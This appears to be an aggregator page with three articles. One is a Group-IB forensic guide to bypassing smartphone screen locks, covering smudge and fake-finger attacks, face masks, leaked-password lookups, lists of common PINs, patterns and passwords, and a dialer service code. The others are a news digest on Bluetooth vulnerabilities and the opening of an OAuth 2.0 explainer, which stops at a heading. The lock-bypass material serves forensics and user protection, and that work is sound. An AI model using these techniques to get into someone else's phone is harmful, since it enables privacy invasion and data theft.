Русский
Русский
English
Статистика
Реклама

Информационная безопасность

Зона доступа 30 способов, которые позволят разблокировать любой смартфон. Часть 1

21.09.2020 16:09:27 | Автор: admin


В своей работе компьютерные криминалисты регулярно сталкиваются с кейсами, когда надо оперативно разблокировать смартфон. Например, данные из телефона нужны следствию, чтобы понять причины суицида подростка. В другом случае помогут выйти на след преступной группы, нападающей на водителей-дальнобойщиков. Бывают, конечно, и милые истории родители забыли пароль от гаджета, а на нем осталось видео с первыми шагами их малыша, но таких, к сожалению, единицы. Но и они требуют профессионального подхода к вопросу. В этой статье Игорь Михайлов, специалист Лаборатории компьютерной криминалистики Group-IB, рассказывает о способах, которые позволяют экспертам-криминалистам обойти блокировку смартфона.

Важно: эта статья написана для оценки безопасности паролей и графических паттернов, используемых владельцами мобильных устройств. Если вы решите разблокировать мобильное устройство с помощью описанных методов помните, что все действия по разблокировке устройств вы совершаете на свой страх и риск. При манипуляции с мобильными устройствами вы можете заблокировать устройство, стереть пользовательские данные или привести устройство в неисправное состояние. Также даны рекомендации пользователям, как повысить уровень защиты своих устройств.


Итак, самым распространенным методом ограничения доступа к пользовательской информации, содержащейся в устройстве, является блокировка экрана мобильного устройства. Когда подобное устройство попадает в криминалистическую лабораторию, работа с ним бывает затруднена, так как для такого устройства невозможно активировать режим отладки по USB (для Android-устройств), невозможно подтвердить разрешение на взаимодействие компьютера эксперта с этим устройством (для мобильных устройств фирмы Apple) и, как следствие, невозможно получить доступ к данным, находящимся в памяти устройства.

Насколько обычная блокировка экрана мобильного устройства препятствует извлечению специалистами данных из него, говорит тот факт, что ФБР США заплатило крупную сумму за разблокировку iPhone террориста Сайеда Фарука, одного из участников теракта в калифорнийском городе Сан-Бернардино [1].

Методы разблокировки экрана мобильного устройства


Как правило, для блокировки экрана мобильного устройства используется:

  1. Символьный пароль
  2. Графический пароль

Также для разблокировки экрана ряда мобильных устройств могут использоваться методы технологии SmartBlock:

  1. Разблокировка по распознаванию отпечатка пальца
  2. Разблокировка по распознаванию лица (технология FaceID)
  3. Разблокировка устройства по распознаванию радужной оболочки глаза

Социальные методы разблокировки мобильного устройства


Кроме чисто технических, существуют и иные способы узнать или преодолеть PIN-код, или графический код (паттерн) блокировки экрана. В отдельных случаях социальные методы могут быть более эффективными, чем технические решения, и помочь в разблокировке устройств, перед которыми пасуют существующие технические разработки.

В данном разделе будут описаны методы разблокировки экрана мобильного устройства, которые не требуют (или требуют лишь ограниченного, частичного) применения технических средств.
Для совершения социальных атак нужно как можно глубже изучить психологию владельца заблокированного устройства, понять, по каким принципам он генерирует и сохраняет пароли или графические паттерны. Также исследователю понадобится капля везения.

При использовании методов, связанных с подбором пароля, следует учитывать, что:

  • при введении десяти неправильных паролей на мобильных устройствах компании Apple данные пользователя могут быть стерты. Это зависит от настроек безопасности, которые установил пользователь;
  • на мобильных устройствах под управлением операционной системы Android может быть использована технология Root of Trust, которая приведет к тому, что после введения 30 неправильных паролей данные пользователя буду либо недоступны, либо стерты.

Способ 1: cпроси пароль


Это покажется странным, но пароль разблокировки можно узнать, просто спросив у владельца устройства. Как показывает статистика, примерно 70% владельцев мобильных устройств охотно сообщают пароль. Особенно, если это сократит время исследования и, соответственно, владелец быстрее получит свое устройство назад. Если нет возможности спросить пароль у владельца (например, владелец устройства умер) или он отказывается его раскрыть пароль можно узнать у его близких родственников. Как правило, родственники знают пароль или могут подсказать возможные варианты.

Рекомендация по защите: Пароль от вашего телефона это универсальный ключ от всех данных, в том числе и платежных. Говорить, передавать, писать его в мессенджерах плохая идея.

Способ 2: подгляди пароль


Пароль можно подсмотреть в момент, когда владелец пользуется устройством. Даже если вы запомните пароль (символьный или графический) лишь частично это значительно сократит количество возможных вариантов, что позволит быстрее подобрать его.

Вариантом данного метода является использование записей камер видеонаблюдения, на которых запечатлен владелец, разблокирующий устройство с помощью графического пароля [2]. Описанный в работе Cracking Android Pattern Lock in Five Attempts [2] алгоритм, путем анализа видеозаписей, позволяет предположить варианты графического пароля и разблокировать устройство за несколько попыток (как правило, для этого нужно сделать не более пяти попыток). Как утверждают авторы, чем сложнее графический пароль, тем проще его подобрать.

Рекомендация по защите: Использование графического ключа не лучшая идея. Цифро-буквенный пароль подглядеть очень сложно.

Способ 3: найди пароль


Пароль можно найти в записях владельца устройства (файлы на компьютере, в ежедневнике, на фрагментах бумаги, лежащих в документах). Если человек использует несколько различных мобильных устройств и на них разные пароли, то иногда в батарейном отсеке этих устройств или в пространстве между корпусом смартфона и чехлом можно найти клочки бумаги с записанными паролями:


Рекомендация по защите: не надо вести блокнотик с паролями. Это плохая идея, кроме случая, когда все эти пароли заведомо ложные, чтобы уменьшить количество попыток разблокировки.

Способ 4: отпечатки пальцев (Smudge attack)


Этот метод позволяет выявить потожировые следы рук на дисплее устройства. Увидеть их можно, обработав экран устройства светлым дактилоскопическим порошком (вместо специального криминалистического порошка можно использовать детскую присыпку или иной химически неактивный мелкодисперсный порошок белого или светло-серого цвета) или посмотрев на экран устройства в косопадающих лучах света. Анализируя взаиморасположение следов рук и имея дополнительную информацию о владельце устройства (например, зная его год рождения), можно попробовать подобрать текстовый или графический пароль. Так выглядит потожировое наслоение на дисплее смартфона в виде стилизованной буквы Z:


Рекомендация по защите: Как мы и говорили, графический пароль это не лучшая идея, как и стекла с плохим олеофобным покрытием.

Способ 5: искусственный палец


Если устройство может быть разблокировано по отпечатку пальца, а исследователь имеет образцы отпечатков рук владельца устройства, то на 3D-принтере можно изготовить трехмерную копию отпечатка пальца владельца и использовать ее для разблокировки устройства [3]:


Для более полной имитации пальца живого человека например, когда датчик отпечатка пальца смартфона еще детектирует тепло 3D-модель надевается (прислоняется) к пальцу живого человека.

Владелец устройства, даже забыв пароль блокировки экрана, может сам разблокировать устройство, используя отпечаток своего пальца. Это может быть использовано в определенных случаях, когда владелец не может сообщить пароль, но, тем не менее, готов помочь исследователю разблокировать свое устройство.

Исследователю следует помнить о поколениях сенсоров, примененных в различных моделях мобильных устройств. Старые модели сенсоров могут срабатывать практически на прикосновение любого пальца, не обязательно принадлежащего владельцу устройства. Современные ультразвуковые сенсоры, наоборот, сканируют весьма глубоко и четко. Кроме того, ряд современных подэкранных сенсоров это просто CMOS-фотокамеры, которые не могут сканировать глубину изображения, из-за чего обмануть их намного проще.

Рекомендация по защите: Если палец, то только ультразвуковой сенсор. Но не забывайте, что приложить палец против вашей воли куда проще, чем лицо.

Способ 6: рывок (Mug attack)


Данный метод описан британскими полицейскими [4]. Он заключается в скрытой слежке за подозреваемым. В момент, когда подозреваемый разблокирует свой телефон, агент в штатском вырывает его из рук владельца и не дает устройству заблокироваться вновь до момента передачи его экспертам.

Рекомендация по защите: Думаю, если против вас собираются применять такие меры, то дело плохо. Но тут нужно понимать, что случайная блокировка обесценивает этот способ. А, например, многократное нажатие кнопки блокировки на iPhone запускает режим SOS, который в дополнение ко всему выключает FaceID и включает требование кода пароля.

Способ 7: ошибки в алгоритмах управления устройством


В новостных лентах профильных ресурсов часто можно встретить сообщения о том, что при определенных действиях с устройством происходит разблокировка его экрана. Например, экран блокировки ряда устройств может разблокироваться при входящем звонке. Недостаток данного метода в том, что выявленные уязвимости, как правило, оперативно устраняются производителями.

Примером подхода к разблокировке мобильных устройств, выпущенных ранее 2016 года, является разряд батареи. При низком заряде устройство разблокируется и предложит изменить настройки питания. При этом надо быстро перейти на страницу с настройками безопасности и отключить блокировку экрана [5].

Рекомендация по защите: не забывайте своевременно обновлять ОС своего устройства, а если оно уже не поддерживается менять смартфон.

Способ 8: уязвимости в сторонних программах


Уязвимости, выявленные в установленных на устройстве сторонних программах, могут также полностью или частично предоставлять доступ к данным заблокированного устройства.

Примером подобной уязвимости может быть похищение данных из iPhone Джеффа Безоса, основного владельца Amazon. Уязвимость в мессенджере WhatsApp, проэксплуатированная неизвестными, привела к краже конфиденциальных данных, находившихся в памяти устройства [6].

Подобные уязвимости могут быть использованы исследователями для достижения своих целей извлечения данных из заблокированных устройств или для их разблокировки.

Рекомендация по защите: Нужно обновлять не только ОС, но и прикладные программы, которыми вы пользуетесь.

Способ 9: корпоративный телефон


Корпоративные мобильные устройства могут быть разблокированы системными администраторами компаний. Так, например, корпоративные устройства Windows Phone привязываются к аккаунту Microsoft Exchange компании и могут быть разблокированы ее администраторами. Для корпоративных устройств Apple существует сервис Mobile Device Management, аналогичный Microsoft Exchange. Его администраторы также могут разблокировать корпоративное iOS-устройство. Кроме того, корпоративные мобильные устройства можно скоммутировать только с определенными компьютерами, указанными администратором в настройках мобильного устройства. Поэтому без взаимодействия с системными администраторами компании такое устройство невозможно подключить к компьютеру исследователя (или программно-аппаратному комплексу для криминалистического извлечения данных).

Рекомендация по защите: MDM это и зло, и добро с точки зрения защиты. MDM-администратор всегда может удаленно сбросить устройство. В любом случае, не стоит хранить чувствительные личные данные на корпоративном устройстве.

Способ 10: информация из сенсоров


Анализируя информацию, получаемую от сенсоров устройства, можно подобрать пароль к устройству с помощью специального алгоритма. Адам Дж. Авив продемонстрировал возможность подобных атак, используя данные, полученные акселерометром смартфона. В ходе исследований ученому удалось правильно определить символьный пароль в 43% случаях, а графический пароль в 73% [7].

Рекомендация по защите: Внимательно следите за тем, каким приложениям вы выдаете разрешение на отслеживание различных сенсоров.

Способ 11: разблокировка по лицу


Как и в случае с отпечатком пальца, успех разблокировки устройства с использованием технологии FaceID зависит от того, какие сенсоры и какой математический аппарат используются в конкретном мобильном устройстве. Так, в работе Gezichtsherkenning op smartphone niet altijd veilig [8] исследователи показали, что часть исследуемых смартфонов удалось разблокировать, просто продемонстрировав камере смартфона фотографию владельца. Это возможно, когда для разблокировки используется лишь одна фронтальная камера, которая не имеет возможности сканировать данные о глубине изображения. Компания Samsung после ряда громких публикаций и роликов в YouTube была вынуждена добавить предупреждение в прошивку своих смартфонов. Face Unlock Samsung:


Более продвинутые модели смартфонов можно разблокировать, используя маску или самообучение устройства. Например, в iPhone X используется специальная технология TrueDepth [9]: проектор устройства, с помощью двух камер и инфракрасного излучателя, проецирует на лицо владельца сетку, состоящую из более чем 30 000 точек. Такое устройство можно разблокировать с помощью маски, контуры которой имитируют контуры лица владельца. Маска для разблокировки iPhone [10]:


Так как подобная система очень сложна и не работает в идеальных условиях (происходит естественное старение владельца, изменение конфигурации лица из-за выражения эмоций, усталости, состояния здоровья и т.п.), она вынуждена постоянно самообучаться. Поэтому если разблокированное устройство подержит перед собой другой человек его лицо будет запомнено как лицо владельца устройства и в дальнейшем он сможет разблокировать смартфон, используя технологию FaceID.

Рекомендация по защите: не используйте разблокировку по фото только системы с полноценными сканерами лица (FaceID у Apple и аналоги на Android-аппаратах).

Основная рекомендация не смотреть в камеру, достаточно отвести взгляд. Если даже зажмурить один глаз шанс разблокировать сильно падает, как и при наличии рук на лице. Кроме того, для разблокировки по лицу (FaceID) дается всего 5 попыток, после чего потребуется ввод кода-пароля.

Способ 12: использование утечек


Базы утекших паролей прекрасный способ понять психологию владельца устройства (при условии, что исследователь располагает информацией об адресах электронной почты владельца устройства). В приведенном примере поиск по адресу электронной почты принес два похожих пароля, которые использовал владелец. Можно предположить, что пароль 21454162 или его производные (например, 2145 или 4162) могли использоваться в качестве кода блокировки мобильного устройства. (Поиск по адресу электронной почты владельца в базах утечек показывает, какие пароли владелец мог использовать, в том числе для блокировки своего мобильного устройства).


Рекомендация по защите: действуйте превентивно, отслеживайте данные об утечках и своевременно меняйте пароли замеченные в утечках!

Способ 13: типовые пароли блокировки устройств


Как правило, у владельца изымается не одно мобильное устройство, а несколько. Часто таких устройств набирается с десяток. При этом можно подобрать пароль для уязвимого устройства и попробовать его применить к другим смартфонам и планшетам, изъятым у этого же владельца.

При анализе данных, извлеченных из мобильных устройств, такие данные отображаются в криминалистических программах (часто даже при извлечении данных из заблокированных устройств с применением различных типов уязвимостей).


Как видно на скриншоте части рабочего окна программы UFED Physical Analyzer, устройство заблокировано достаточно необычным PIN-кодом fgkl.

Не стоит пренебрегать иными устройствами пользователя. Например, анализируя пароли, сохраненные в кэше веб-браузера компьютера владельца мобильного устройства, можно понять принципы генерации паролей, которых придерживался владелец. Просмотреть сохраненные пароли на компьютере можно с помощью утилиты компании NirSoft [11].

Также на компьютере (ноутбуке) владельца мобильного устройства могут быть Lockdown-файлы, которые могут помочь получить доступ к заблокированному мобильному устройству фирмы Apple. Об этом методе будет рассказано далее.

Рекомендация по защите: используйте везде разные, уникальные пароли.

Способ 14: типовые PIN-коды


Как было отмечено ранее, пользователи часто используют типовые пароли: номера телефонов, банковских карт, PIN-коды. Подобную информацию можно использовать, чтобы разблокировать предоставленное устройство.

Если ничего не помогает можно воспользоваться следующей информацией: исследователи провели анализ и нашли наиболее популярные PIN-коды (приведенные PIN-коды покрывают 26,83% всех паролей) [12]:

PIN Частота, %
1234 10,713
1111 6,016
0000 1,881
1212 1,197
7777 0,745
1004 0,616
2000 0,613
4444 0,526
2222 0,516
6969 0,512
9999 0,451
3333 0,419
5555 0,395
6666 0,391
1122 0,366
1313 0,304
8888 0,303
4321 0,293
2001 0,290
1010 0,285
Применение данного перечня PIN-кодов к заблокированному устройству позволит разблокировать его с вероятностью ~26%.

Рекомендация по защите: проверьте свой PIN-код по таблице выше и, даже если он не совпал, все равно смените его, потому что 4 цифры это слишком мало по меркам 2020 года.

Способ 15: типовые графические пароли


Как было описано выше, имея данные камер видеонаблюдения, на которых владелец устройства пробует его разблокировать, можно подобрать паттерн разблокировки с пяти попыток. Кроме того, точно так же, как существуют типовые PIN-коды, существуют и типовые паттерны, которые можно использовать для разблокировки заблокированных мобильных устройств [13, 14].

Простые паттерны [14]:


Паттерны средней сложности [14]:


Сложные паттерны [14]:



Список самых популярных графических паттернов по версии исследователя Jeremy Kirby [15].
3>2>5>8>7
1>4>5>6>9
1>4>7>8>9
3>2>1>4>5>6>9>8>7
1>4>7>8>9>6>3
1>2>3>5>7>8>9
3>5>6>8
1>5>4>2
2>6>5>3
4>8>7>5
5>9>8>6
7>4>1>2>3>5>9
1>4>7>5>3>6>9
1>2>3>5>7
3>2>1>4>7>8>9
3>2>1>4>7>8>9>6>5
3>2>1>5>9>8>7
1>4>7>5>9>6>3
7>4>1>5>9>6>3
3>6>9>5>1>4>7
7>4>1>5>3>6>9
5>6>3>2>1>4>7>8>9
5>8>9>6>3>2>1>4>7
7>4>1>2>3>6>9
1>4>8>6>3
1>5>4>6
2>4>1>5
7>4>1>2>3>6>5

На некоторых мобильных устройствах, помимо графического кода, может быть установлен дополнительный PIN-код. В этом случае, если не удается подобрать графический код, исследователь может кликнуть на кнопку Доп.PIN-код (дополнительный PIN-код) после ввода неправильного графического кода и попытаться подобрать дополнительный PIN-код.

Рекомендация по защите: лучше вообще не использовать графические ключи.

Способ 16: буквенно-цифровые пароли


Если на устройстве можно использовать буквенно-цифровой пароль, то в качестве кода блокировки владелец мог использовать следующие популярные пароли [16]:

  • 123456
  • password
  • 123456789
  • 12345678
  • 12345
  • 111111
  • 1234567
  • sunshine
  • qwerty
  • iloveyou
  • princess
  • admin
  • welcome
  • 666666
  • abc123
  • football
  • 123123
  • monkey
  • 654321
  • !@#$%^&*
  • charlie
  • aa123456
  • donald
  • password1
  • qwerty123

Рекомендация по защите: используйте только сложные, уникальные пароли со служебными символами и разными регистрами. Проверьте, не используете ли вы один из паролей приведенных выше. Если используете смените его на более надежный.

Способ 17: облачные или локальные хранилища


Если нет технической возможности изъять данные из заблокированного устройства криминалисты могут поискать его резервные копии на компьютерах владельца устройства или в соответствующих облачных хранилищах.

Часто владельцы смартфонов Apple, подключая их к своим компьютерам, не осознают, что в это время может осуществляться создание локальной или облачной резервной копии устройства.

В облачных хранилищах Google и Apple могут сохраняться не только данные из устройств, но и сохраненные устройством пароли. Извлечение этих паролей может помочь в подборе кода блокировки мобильного устройства.

Из Keychain, сохраненного в iCloud, можно извлечь пароль на резервную копию устройства, установленный владельцем, который, с высокой степенью вероятности, будет совпадать с PIN-кодом блокировки экрана.

Если правоохранительные органы обращаются в Google и Apple компании могут передать имеющиеся данные, что, вероятно, сильно снизит необходимость разблокировки устройства, так как данные уже будут у правоохранителей.

Например, после террористического акта в Пенсоконе копии данных, хранящихся в iCloud, были переданы ФБР. Из заявления Apple:

В течение нескольких часов, после первого запроса ФБР, 6 декабря 2019 года, мы представили широкий спектр информации, связанной с расследованием. С 7 по 14 декабря мы получили шесть дополнительных юридических запросов и в ответ предоставили информацию, включая резервные копии iCloud, информацию об аккаунте и транзакциях для нескольких учетных записей.

Мы отвечали на каждый запрос незамедлительно, зачастую в течение нескольких часов, обмениваясь информацией с офисами ФБР в Джексонвилле, Пенсаколе и Нью-Йорке. По запросам следствия было получено много гигабайт информации, которую мы передали следователям. [17, 18, 19]

Рекомендация по защите: все, что вы отдаете в облако в незашифрованном виде, может и будет использовано против вас.

Способ 18: Google-аккаунт


Данный способ подходит для снятия графического пароля, блокирующего экран мобильного устройства под управлением операционной системы Android. Для использования этого метода нужно знать имя пользователя и пароль от Google-аккаунта владельца устройства. Второе условие: устройство должно быть подключено к интернету.

При последовательном вводе неправильного графического пароля несколько раз подряд, устройство предложит восстановить пароль. После этого надо совершить вход в аккаунт пользователя, что приведет к разблокировке экрана устройства [5].

В связи с разнообразием аппаратных решений, операционных систем Android и дополнительных настроек безопасности данный метод применим только для ряда устройств.

Если у исследователя нет пароля к Google-аккаунту владельца устройства его можно попробовать восстановить, используя стандартные методы восстановления паролей от подобных аккаунтов.

Если устройство в момент исследования не подключено к интернету (например, SIM-карта заблокирована или на ней недостаточно денег), то подобное устройство можно подключить к Wi-Fi по следующей инструкции:

  • нажать иконку Экстренный вызов
  • набрать *#*#7378423#*#*
  • выбрать Service Test Wlan
  • осуществить соединение с доступной Wi-Fi-сетью [5]

Рекомендация по защите: не забывайте использовать двухфакторную авторизацию везде где только можно, и в этом случае лучше с привязкой к приложению, а не коду по SMS.

Способ 19: гостевой аккаунт


На мобильных устройствах под управлением операционной системы Android 5 и выше может быть несколько аккаунтов. Для доступа к данным дополнительного аккаунта может отсутствовать блокировка PIN-кодом или графическим кодом. Для переключения нужно кликнуть на иконку аккаунта в правом верхнем углу и выбрать другой аккаунт:


Для дополнительного аккаунта доступ к некоторым данным или приложениям может быть ограничен.

Рекомендация по защите: тут важно обновлять ОС. В современных версиях Android (9 и выше с патчами безопасностями от июля 2020 года) учетная запись гостя, как правило, не дает никаких возможностей.

Способ 20: специализированные сервисы


Компании, занимающиеся разработкой специализированных криминалистических программ, в том числе предлагают услуги по разблокировке мобильных устройств и извлечению данных из них [20, 21]. Возможности подобных сервисов просто фантастические. С помощью них можно разблокировать топовые модели Android- и iOS-устройств, а также устройства, находящиеся в режиме восстановления (в которое устройство переходит после превышения количества попыток неправильного ввода пароля). Недостатком данного метода является высокая стоимость.

Фрагмент веб-страницы сайта компании Cellebrite, где описывается, из каких устройств они могут извлечь данные. Устройство может быть разблокировано в лаборатории разработчика (Cellebrite Advanced Service (CAS)) [20]:


Для подобной услуги устройство должно быть предоставлено в региональный (или головной) офис компании. Возможен выезд специалиста к заказчику. Как правило, взлом кода блокировки экрана занимает одни сутки.

Рекомендация по защите: практически невозможно защититься, кроме использования стойкого цифро-буквенного пароля и ежегодной смены устройств.

P.S. Об этих кейсах, инструментах и многих других полезных фишках в работе компьютерного криминалиста эксперты Лаборатории Group-IB рассказывают в рамках обучающего курса Digital Forensics Analyst. После прохождения 5-дневного или расширенного 7-дневного курсов выпускники смогут эффективнее проводить криминалистические исследования и предовтращать киберинциденты в своих организациях.

P.P.S. Остросюжетный Telegram-канал Group-IB об информационной безопасности, хакерах, APT, кибератаках, мошенниках и пиратах. Расследования по шагам, практические кейсы с применением технологий Group-IB и рекомендации, как не стать жертвой. Подключайтесь!

Источники
  1. ФБР нашло хакера, готового взломать iPhone без помощи Apple
  2. Guixin Yey, Zhanyong Tang, Dingyi Fangy, Xiaojiang Cheny, Kwang Kimz, Ben Taylorx, Zheng Wang. Cracking Android Pattern Lock in Five Attempts
  3. Дактилоскопический датчик Samsung Galaxy S10 удалось обмануть с помощью отпечатка пальца, напечатанного на 3D-принтере
  4. Dominic Casciani, Gaetan Portal. Phone encryption: Police 'mug' suspect to get data
  5. Как разблокировать телефон: 5 способов, которые работают
  6. Дуров назвал причиной взлома смартфона Джеффа Безоса уязвимость в WhatsApp
  7. Датчики и сенсоры современных мобильных устройств
  8. Gezichtsherkenning op smartphone niet altijd veilig
  9. TrueDepth в iPhone X что это, принцип работы
  10. Face ID в iPhone X обманули с помощью 3D-печатной маски
  11. NirLauncher Package
  12. Анатолий Ализар. Популярные и редкие PIN-коды: статистический анализ
  13. Мария Нефедова. Графические ключи так же предсказуемы, как пароли 1234567 и password
  14. Антон Макаров. Обход графического пароля на Android-устройствах www.anti-malware.ru/analytics/Threats_Analysis/bypass-picture-password-Android-devices
  15. Jeremy Kirby. Unlock mobile devices using these popular codes
  16. Андрей Смирнов. 25 самых популярных паролей в 2019 году
  17. Мария Нефедова. Конфликт между властями США и компанией Apple из-за взлома iPhone преступника усугубляется
  18. Apple responds to AG Barr over unlocking Pensacola shooter's phone: No.
  19. Law Enforcement Support Program
  20. Cellebrite Supported Devices (CAS)

Подробнее..

Security Week 39 две уязвимости в протоколе Bluetooth

21.09.2020 18:14:10 | Автор: admin


За последние две недели стало известно сразу о двух уязвимостях в стандарте беспроводной связи Bluetooth. Сначала 9 сентября организация Bluetooth SIG распространила предупреждение о семействе атак BLURtooth. В теории уязвимость в спецификациях Bluetooth 4.2 и 5.0 позволяет организовать MitM-атаку. На практике для этого требуется совпадение множества условий, например подключение (с ограниченными правами) к целевому устройству.

Уязвимость обнаружена на стыке двух вариантов соединения Bluetooth традиционного Basic Rate / Enhanced Data Rate и энергоэффективного Bluetooth Low Energy. Чтобы не авторизоваться дважды по разным протоколам, в устройствах, поддерживающих и BR/EDR, и BLE, генерируются общие ключи длительного срока действия. Спецификация позволяет перезаписывать ключи, если требуется более надежный режим передачи данных. Но в результате с устройством можно установить связь либо вовсе без должной авторизации, либо защита соединения легко взламывается.

Вторую уязвимость, получившую название BLESA, обнаружили в спецификации Bluetooth Low Energy. Она позволяет подключаться к другим устройствам без авторизации, имитируя процедуру восстановления соединения после разрыва связи.

На практике это выглядит так: к смартфону подключено устройство (например, фитнес-трекер), затем соединение с ним обрывают и подключают к смартфону устройство атакующего. Дополнительная авторизация не требуется, а перехватить идентификатор легитимного устройства легко, так как эти данные передаются открытым текстом. Простота повторного подключения устройства обернулась прорехой в безопасности.


Источники
BLURTooth:
сообщение CERT Университета Карнеги Меллона;
бюллетень Bluetooth SIG;
новость на сайте Bleeping Computer;
новость на Хабре.

BLESA:
новость;
исследовательская работа;
новость на Хабре с PoC-видео.

Информация об этих атаках раскрыта совершенно по-разному. О BLESA опубликована научная работа с подробным описанием процесса атаки. Про BLURtooth лишь два коротких сообщения без деталей. Возможно, это связано с тем, что для BLESA уже выпустили патч (как минимум для устройств Apple), а также готовятся заплатки для Android и универсального стека Bluez.

BLURtooth пока что проблема без решения. Хотя есть у этих атак и общее: невысокая вероятность использования на практике из-за необходимости находиться рядом с жертвой и сомнительных (как минимум неисследованных) перспектив с точки зрения кражи данных.

Обе уязвимости в будущем могут стать этапом более серьезной атаки на IoT-устройства, тем более что обновить стек Bluetooth получится далеко не везде.

Что еще произошло
Специалисты Лаборатории Касперского опубликовали отчет о развитии угроз во II квартале 2020 года. Из интересного: рост числа вредоносных атак игровой тематики, в частности фишинг и распространение вредоносного ПО, связанного с платформой Steam.

В условиях удаленной работы такие атаки могут привести не только к краже внутриигровых или реальных денежных средств, но и к проникновению в рабочую инфраструктуру, если жертва для игр и работы использует один и тот же компьютер.

Другое исследование Лаборатории Касперского посвящено уязвимости нулевого дня в Internet Explorer 11. В паре с другой дырой, не столь опасной самой по себе, баг в браузере обеспечивал полный контроль над целевой системой.

Печальный, но предсказуемый случай: в Германии атака трояна-шифровальщика на инфраструктуру больницы привела к смерти пациента.

В среду 16 сентября разработчики обновили CMS Drupal, в том числе исправили критическую XSS-уязвимость.

Интересный случай произошел с WordPress-плагином Discount Rules for WooCommerce. Две серьезных уязвимости пропатчили лишь с третьей попытки.



Издание Bleeping Computer сообщает о фишинговой атаке, которая маскируется под тренинг по информационной безопасности.

Компания Google вводит запрет на ПО типа stalkerware в Google Play. Точнее, нельзя наблюдать за пользователем скрытно: если такие функции есть, пользователя надо предупредить, что за его перемещениями и действиями будут наблюдать.

Эксплойт для уязвимости Zerologon в Windows появился в публичном доступе. Патч для этой дыры выпустили еще в августе этого года.
Подробнее..

Тонкости авторизации обзор технологии OAuth 2.0

21.09.2020 18:14:10 | Автор: admin
Информационная система Dodo IS состоит из 44 различных сервисов, таких как Трекер, Кассы ресторана или Базы знаний и многих других. 3 года назад мы написали сервис Auth для реализации сквозной аутентификации, а сейчас пишем уже вторую версию. В основе сервиса лежит стандарт авторизации OAuth 2.0. Он довольно сложный, но если будете работать над аналогичным сервисом, стандарт вам пригодится. В этой статье я постарался рассказать о стандарте максимально просто и понятно, чтобы вы сэкономили время на его изучение.



Задача Auth


Проблема авторизации в десятках сервисов встречалась ещё несколько лет назад в начале эпохи распила монолита. Эту проблему решили новым сервисом, который назвали Auth. Он помог реализовать бесшовную аутентификацию в различных сервисах и перенести данные о пользователях в отдельные базы данных.

У сервиса Auth есть три основные задачи:

  • Единая точка аутентификации (SSO) для всех сервисов системы. Сервисы не хранят учётные данные, а доверяют это одному выделенному сервису.
  • Безопасный и гранулированный доступ к ресурсам. Безопасный, потому что пароли хранятся в одном месте и максимально защищены. Гранулированный, так как владельцы сервисов могут настраивать доступ к ресурсам как они захотят, опираясь на данные, пришедшие из сервиса аутентификации.
  • Централизованное управление пользователями и доступом. Благодаря тому, что вся информация о пользователе хранится в сервисе аутентификации, мы можем управлять пользователями централизованно.

Проблемы


Первая версия Auth часть монолита. Он использует свой собственный протокол общения с сервисами. Такая схема была необходима в тот момент, но за несколько лет работы проявились проблемы.

Auth часть монолита. Следовательно, сервис привязан к релизному циклу, что лишает возможности независимой разработки и деплоя. Кроме того, придется разворачивать весь монолит, если захотелось развернуть Auth, например, при масштабировании сервиса.

Dodo IS зависит от Auth. В старой реализации внешние сервисы обращаются к Auth при каждом действии пользователя, чтобы валидировать данные о нём. Настолько сильная привязка может привести к остановке работы всей Dodo IS, если Auth приляжет по какой-то причине.

Auth зависит от Redis. Притом достаточно сильно неисправность работы Redisа приведёт к падению Authа. Мы используем Azure Redis, для которого заявленный SLA 99,9%. Это значит, что сервис может быть недоступен до 44 минут в месяц. Такие простои не позволительны.

Текущая реализация Auth использует свой протокол аутентификации, не опираясь на стандарты. В большинстве своих сервисов мы используем C# (если говорим о backend) и у нас нет проблем с поддержкой библиотеки для нашего протокола. Но если вдруг появятся сервисы на Python, Go или Rust, разработка и поддержка библиотек под эти языки потребует дополнительных затрат времени и принесет дополнительные сложности.

Текущий Auth использует схему Roles Based Access Control, которая базируется на ролях. Обычно с ролью выдаётся полный доступ к определённому сервису, вместо привязки к конкретному функционалу. Например, в пиццериях есть заместители управляющего, которые могут вести определенные проекты: составлять графики или учитывать сырьё. Но у нас нет выдачи прав на конкретные компоненты системы. Приходится выдавать полный доступ к сервису, чтобы сотрудники могли получить доступ к составлению графиков или настройкам какого-либо компонента учёта.

Проблемы подтолкнули к тому, чтобы спроектировать и написать новую версию Auth. На старте проекта мы потратили 3 недели только на изучение стандартов авторизации и аутентификации OAuth 2.0 и OpenID Connect 1.0.

Примечание. Утрированно, статья это пересказ RFC, который приходилось перечитывать несколько раз, чтобы понять, что происходит вокруг. Здесь я постарался уйти от этой сложности и рассказать всё максимально просто, структурировано, кратко и без описания сложных вещей, например, какие символы может содержать в себе ответ сервиса. В отличии от RFC, прочитав это один раз, можно во всём разобраться. Надеюсь, статья будет полезна и сэкономит время при выборе решения для реализации сервиса аутентификации, а может, кого-то заставит задуматься о его необходимости.

Что такое ОAuth2.0?


Разработку нового Auth мы решили начать с изучения доступных протоколов и технологий. Самый распространённый стандарт авторизации фреймворк авторизации OAuth2.0.

Стандарт был принят в 2012 году, и за 8 лет протокол меняли и дополняли. RFC стало настолько много, что авторы оригинального протокола решили написать OAuth 2.1, который объединит все текущие изменения по OAuth 2.0 в одном документе. Пока он на стадии черновика.

Актуальная версия OAuth описанна в RFC 6749. Именно его мы и разберем.

OAuth 2.0 это фреймворк авторизации.

Он описывает, как должно реализовываться взаимодействие между сервисами для обеспечения безопасной авторизации. Многие нюансы описаны достаточно подробно, например, flow взаимодействия узлов между собой, но некоторые отдаются на откуп конкретной реализации.

Особенности:

  • Разделение сущности пользователя и приложения, запрашивающего доступ. Благодаря этому разделению мы можем управлять правами приложения отдельно от прав пользователя.

  • Вместо привычных логина и пароля, которые имеют определенный набор прав и время жизни, мы получаем доступ к ресурсам с помощью случайно сгенерированных строк токенов.
  • Можно выдавать права максимально точечно, опираясь на собственные пожелания, а не на заранее определённый набор прав.

Разберёмся подробнее в особенностях.

Роли


В OAuth 2.0 определены четыре роли:

  • Resource owner сущность, которая имеет права доступа на защищённый ресурс. Сущность может быть конечным пользователем или какой-либо системой. Защищённый ресурс это HTTP endpoint, которым может быть что угодно: API endpoint, файл на CDN, web-сервис.
  • Resource server сервер, на котором хранится защищённый ресурс, к которому имеет доступ resource owner.
  • Client. Это приложение, которое запрашивает доступ к защищённому ресурсу от имени resource owner и с его разрешения с авторизацией.
  • Authorization server сервер, который выдаёт клиенту токен для доступа к защищённому ресурсу, после успешной авторизации resource owner.

Каждый участник взаимодействия может совмещать в себе несколько ролей. Например, клиент может быть одновременно resource owner, и запрашивать доступ к своим же ресурсам. Схему взаимодействия рассмотрим дальше.

Важно: клиент должен быть заранее зарегистрирован в сервисе. Как это сделать?

Регистрация клиента


